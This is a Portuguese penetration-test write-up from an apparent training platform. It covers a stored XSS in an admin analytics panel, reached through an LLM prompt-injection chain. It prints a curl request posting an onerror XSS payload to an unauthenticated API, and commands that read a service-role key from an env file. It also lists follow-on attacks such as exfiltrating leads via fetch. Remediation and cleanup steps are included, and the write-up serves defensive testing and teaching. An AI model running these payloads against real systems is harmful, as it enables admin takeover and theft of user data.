Stored XSS via Prompt Injection na IA (admin takeover)

Só leitura — não altera nada no alvo. Só em alvo seu ou autorizado por escrito.

O vetor

Vetor real: atacante envia um evento de feed com car_title contendo HTML malicioso (<img src=x onerror=alert(...)>). O evento é aceito pela API pública /api/feed/events (sem auth). Quando o admin abre o painel /admin/analytics, a API lê feed_events, extrai car_title de metadata, envia para a OpenAI no prompt. A OpenAI ecoa o título na recomendação. O painel renderiza com dangerouslySetInnerHTML — executando JavaScript no contexto do admin (cookie cms_token roubável). Cadeia completa: client malicioso → /api/feed/eventsfeed_events/api/admin/insights → prompt OpenAI → aiRecommendationsdangerouslySetInnerHTML → XSS no admin. O que testamos: injetar payload XSS via evento público e confirmar que é aceito e armazenado.

Os passos

Passo 1 — Injetar payload XSS via API pública:

BASE="https://seu-app.exemplo.workers.dev"
curl -s -X POST "$BASE/api/feed/events" \
  -H "Content-Type: application/json" \
  -d '{
    "events": [{
      "session_id": "pentest_xss_ex33",
      "event_type": "card_view",
      "content_id": "52931bb2-a129-43a8-8259-ecc503ed50f9",
      "niche": "auto",
      "metadata": {
        "car_title": "<img src=x onerror=alert(document.cookie)>",
        "dwell_time_ms": 5000
      }
    }]
  }'

O que esperar

Resultado esperado (validado ao vivo 04/09/2026):

{"ok": true, "count": 1}

Confirmado: HTTP 200, evento aceito sem auth, sem validação, sem sanitização.

Passo 2 — Verificar que o payload foi persistido:

cd /d/Antigravity-Monetizacao_TikTok/app
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)
SRK=$(grep '^SUPABASE_SERVICE_ROLE_KEY' .env.local | cut -d= -f2)
curl -s "$SB/rest/v1/feed_events?select=session_id,metadata&session_id=eq.pentest_xss_ex33" \
  -H "apikey: $SRK" -H "Authorization: Bearer $SRK"

Resultado esperado:

[{
  "session_id": "pentest_xss_ex33",
  "metadata": {
    "car_title": "<img src=x onerror=alert(document.cookie)>",
    "dwell_time_ms": 5000
  }
}]

✅ Payload HTML completo armazenado no banco.

Passo 3 — Verificar o ponto de renderização vulnerável no código:

cd /d/Antigravity-Monetizacao_TikTok/app
grep -n "dangerouslySetInnerHTML" app/admin/analytics/page.tsx

Resultado esperado:

800: <p dangerouslySetInnerHTML={{ __html: rec.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>') }} />

🔍 A linha 800 pega rec (recomendação da IA, que pode conter o car_title malicioso) e renderiza como HTML cru. O replace só converte **bold**<strong>; qualquer outro HTML passa direto.

Passo 4 — Rastrear a cadeia de dados:

# O car_title controlável pelo atacante flui assim:
# 1. POST /api/feed/events → feed_events.metadata.car_title (sem sanitização)
# 2. GET /api/admin/insights → lê feed_events → vehicleStats[title] = metadata.car_title
# 3. generateAIInsights() → envia JSON.stringify(topVehicles) para OpenAI no prompt
# 4. OpenAI ecoa o título na resposta → aiRecommendations[]
# 5. dangerouslySetInnerHTML renderiza como HTML → XSS executa

grep -n "car_title\|vehicleStats\|topVehicles\|generateAIInsights\|dangerouslySetInnerHTML" \
  app/api/admin/insights/route.ts app/admin/analytics/page.tsx | head -20

Análise — o que isto significa:

  • Qualquer visitante anônimo pode injetar JavaScript que executa no painel admin.
  • O cms_token (cookie httpOnly) não é roubável via document.cookie, MAS o XSS pode:
    • Fazer fetch('/api/leads') com o cookie (same-origin) e exfiltrar a base de leads.
    • Criar conteúdo malicioso via POST /api/cms/content com o cookie.
    • Deletar conteúdo via DELETE /api/cms/content/[id].
    • Redirecionar o admin para uma página de phishing.
  • A IA é o vetor indireto: o atacante não controla a resposta da OpenAI diretamente, mas influencia o input (prompt injection). Se a OpenAI ecoa o car_title — o que LLMs fazem frequentemente ao "analisar dados" — o HTML é renderizado.

Como corrigir

Correção necessária (P0 — crítico):

  1. Remover dangerouslySetInnerHTML — substituir por renderização segura:
    // ANTES (vulnerável):
    <p dangerouslySetInnerHTML={{ __html: rec.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>') }} />
    
    // DEPOIS (seguro):
    {rec.split(/(\*\*[^*]+\*\*)/g).map((part, i) =>
      part.startsWith('**') && part.endsWith('**')
        ? <strong key={i}>{part.slice(2, -2)}</strong>
        : <span key={i}>{part}</span>
    )}
    
  2. Sanitizar car_title na entrada — em /api/feed/events, rejeitar ou escapar HTML em metadata.car_title:
    if (metadata.car_title && /[<>]/.test(metadata.car_title)) {
      metadata.car_title = metadata.car_title.replace(/[<>]/g, '');
    }
    
  3. DOMPurify como defesa em profundidade — se precisar manter dangerouslySetInnerHTML, passar por DOMPurify.sanitize() antes.
  4. CSP com nonce — adicionar script-src 'self' 'nonce-<random>' no next.config.ts para bloquear scripts inline injetados.
  5. Validar schema de eventos — rejeitar metadata com valores contendo <script, <img, onerror, onload.

Limpeza:

cd /d/Antigravity-Monetizacao_TikTok/app
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)
SRK=$(grep '^SUPABASE_SERVICE_ROLE_KEY' .env.local | cut -d= -f2)
curl -s -X DELETE "$SB/rest/v1/feed_events?session_id=eq.pentest_xss_ex33" \
  -H "apikey: $SRK" -H "Authorization: Bearer $SRK"

PurpleLab // plataforma de treino ofensivo + defensivo // Fase 1 — portal dinamico